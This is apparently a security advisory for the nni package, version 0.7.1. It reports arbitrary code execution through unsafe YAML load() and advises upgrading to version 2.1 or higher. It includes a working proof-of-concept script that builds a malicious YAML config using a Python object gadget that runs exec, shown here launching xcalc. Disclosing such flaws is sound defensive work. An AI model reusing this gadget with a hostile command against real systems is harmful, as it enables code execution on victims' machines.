nni@0.7.1 vulnerabilities

nni is a Neural Network Intelligence package

Affected versions of this package are vulnerable to Arbitrary Code Execution. Arbitrary code execution is possible due to a use of a known vulnerable function load() within yaml parsing.

PoC

1. Create the following PoC file: exploit.py

import os
os.system('pip3 install nni')
exploit = """authorName: !!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('xcalc')"
experimentName: example_mnist_pytorch
trialConcurrency: 1
maxExecDuration: 1h
maxTrialNum: 10
#choice: local, remote, pai
trainingServicePlatform: local
searchSpacePath: search_space.json
#choice: true, false
useAnnotation: false
tuner:
#choice: TPE, Random, Anneal, Evolution, BatchTuner, MetisTuner, GPTuner
#SMAC (SMAC should be installed through nnictl)
builtinTunerName: TPE
classArgs:
#choice: maximize, minimize
optimize_mode: maximize
trial:
command: python3 mnist.py
codeDir: .
gpuNum: 0
"""
open('exploit.yml','w+').write(exploit)
os.system('nnictl create --config exploit.yml')

2. Execute the following commands in another terminal: python3 exploit.py
3. Check the Output: xcalc will pop up.

Upgrade nni to version 2.1 or higher.